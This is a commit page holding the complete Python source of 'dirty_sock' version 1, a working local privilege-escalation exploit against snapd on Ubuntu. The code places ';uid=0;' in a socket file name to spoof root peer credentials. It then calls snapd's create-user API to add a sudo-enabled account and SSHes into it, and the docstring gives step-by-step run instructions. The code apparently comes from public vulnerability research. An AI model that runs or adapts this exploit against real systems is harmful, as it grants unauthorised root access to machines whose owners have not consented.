Skip to content

Commit e0cd8b5

Browse files
committed
Initial commit
0 parents  commit e0cd8b5

File tree

11 files changed

+11419
-0
lines changed

11 files changed

+11419
-0
lines changed

ds1.py

+171
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,171 @@
1+
#!/usr/bin/env python3
2+
3+
"""
4+
Local privilege escalation via snapd, affecting Ubuntu and others.
5+
6+
v1 of dirty_sock leverages the /v2/create-user API to create a new local user
7+
based on information in an Ubuntu SSO profile. It requires outbound Internet
8+
access as well as the SSH service running and available from localhost.
9+
10+
Try v2 in more restricted environments, but use v1 when possible.
11+
12+
Before running v1, you need to:
13+
- Create an Ubuntu SSO account (https://login.ubuntu.com/)
14+
- Login to that account and ensure you have your public SSH key configured
15+
in your profile.
16+
17+
Run exploit like this:
18+
dirty_sock.py -u <account email> -k <ssh priv key file>
19+
20+
A new local user with sudo rights will be created using the username from your
21+
Ubuntu SSO profile. The SSH public key will be copied into this users profile.
22+
23+
The exploit will automatically SSH into localhost when finished.
24+
25+
Research and POC by initstring (https://github.com/initstring/dirty_sock)
26+
"""
27+
28+
import argparse
29+
import string
30+
import random
31+
import socket
32+
import re
33+
import sys
34+
import os
35+
36+
BANNER = r'''
37+
___ _ ____ ___ _ _ ____ ____ ____ _ _
38+
| \ | |__/ | \_/ [__ | | | |_/
39+
|__/ | | \ | | ___ ___] |__| |___ | \_
40+
(version 1)
41+
42+
//=========[]==========================================\\
43+
|| R&D || initstring (@init_string) ||
44+
|| Source || https://github.com/initstring/dirty_sock ||
45+
|| Details || https://initblog.com/2019/dirty-sock ||
46+
\\=========[]==========================================//
47+
48+
'''
49+
50+
51+
def process_args():
52+
"""Handles user-passed parameters"""
53+
parser = argparse.ArgumentParser()
54+
parser.add_argument('--username', '-u', type=str, action='store',
55+
required=True, help='Your Ubuntu One account email.')
56+
parser.add_argument('--key', '-k', type=str, action='store',
57+
required=True, help='Full path to the ssh privkey'
58+
' matching the pubkey in your Ubuntu One account.')
59+
60+
args = parser.parse_args()
61+
62+
if not os.path.isfile(args.key):
63+
print("[!] That key file does not exist. Please try again.")
64+
sys.exit()
65+
66+
return args
67+
68+
def create_sockfile():
69+
"""Generates a random socket file name to use"""
70+
alphabet = string.ascii_lowercase
71+
random_string = ''.join(random.choice(alphabet) for i in range(10))
72+
dirty_sock = ';uid=0;'
73+
74+
# This is where we slip on the dirty sock. This makes its way into the
75+
# UNIX AF_SOCKET's peer data, which is parsed in an insecure fashion
76+
# by snapd's ucrednet.go file, allowing us to overwrite the UID variable.
77+
sockfile = '/tmp/' + random_string + dirty_sock
78+
79+
print("[+] Slipped dirty sock on random socket file: " + sockfile)
80+
81+
return sockfile
82+
83+
def bind_sock(sockfile):
84+
"""Binds to a local file"""
85+
# This exploit only works if we also BIND to the socket after creating
86+
# it, as we need to inject the dirty sock as a remote peer in the
87+
# socket's ancillary data.
88+
print("[+] Binding to socket file...")
89+
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
90+
client_sock.bind(sockfile)
91+
92+
# Connect to the snap daemon
93+
print("[+] Connecting to snapd API...")
94+
client_sock.connect('/run/snapd.socket')
95+
96+
return client_sock
97+
98+
def add_user(args, client_sock):
99+
"""Main exploit function"""
100+
post_payload = ('{"email": "' + args.username +
101+
'", "sudoer": true, "force-managed": true}')
102+
http_req = ('POST /v2/create-user HTTP/1.1\r\n'
103+
'Host: localhost\r\n'
104+
'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n'
105+
+ post_payload)
106+
107+
# Send our payload to the snap API
108+
print("[+] Sending payload...")
109+
client_sock.sendall(http_req.encode("utf-8"))
110+
111+
# Receive the data and extract the JSON
112+
http_reply = client_sock.recv(8192).decode("utf-8")
113+
114+
# Try to extract a username from the valid reply
115+
regex = re.compile(r'"status":"OK","result":{"username":"(.*?)"')
116+
username = re.findall(regex, http_reply)
117+
118+
# If exploit was not successful, give details and exit
119+
if '"status":"Unauthorized"' in http_reply:
120+
print("[!] System may not be vulnerable, here is the API reply:\n\n")
121+
print(http_reply)
122+
sys.exit()
123+
124+
if 'cannot find user' in http_reply:
125+
print("[!] Could not find user in the snap store... did you follow"
126+
" the instructions?")
127+
print("Here is the API reply:")
128+
print(http_reply)
129+
sys.exit()
130+
131+
if not username:
132+
print("[!] Something went wrong... Here is the API reply:")
133+
print(http_reply)
134+
sys.exit()
135+
136+
# SSH into localhost with our new root account
137+
print("[+] Success! Enjoy your new account with sudo rights!")
138+
cmd1 = 'chmod 600 ' + args.key
139+
cmd2 = 'ssh ' + username[0] + '@localhost -i ' + args.key
140+
os.system(cmd1)
141+
os.system(cmd2)
142+
143+
print("[+] Hope you enjoyed your stay!")
144+
sys.exit()
145+
146+
147+
148+
def main():
149+
"""Main program function"""
150+
151+
# Gotta have a banner...
152+
print(BANNER)
153+
154+
# Process the required arguments
155+
args = process_args()
156+
157+
# Create a random name for the dirty socket file
158+
sockfile = create_sockfile()
159+
160+
# Bind the dirty socket to the snapdapi
161+
client_sock = bind_sock(sockfile)
162+
163+
# Exploit away...
164+
add_user(args, client_sock)
165+
166+
# Remove the dirty socket file
167+
os.remove(sockfile)
168+
169+
170+
if __name__ == '__main__':
171+
main()

0 commit comments

Comments
 (0)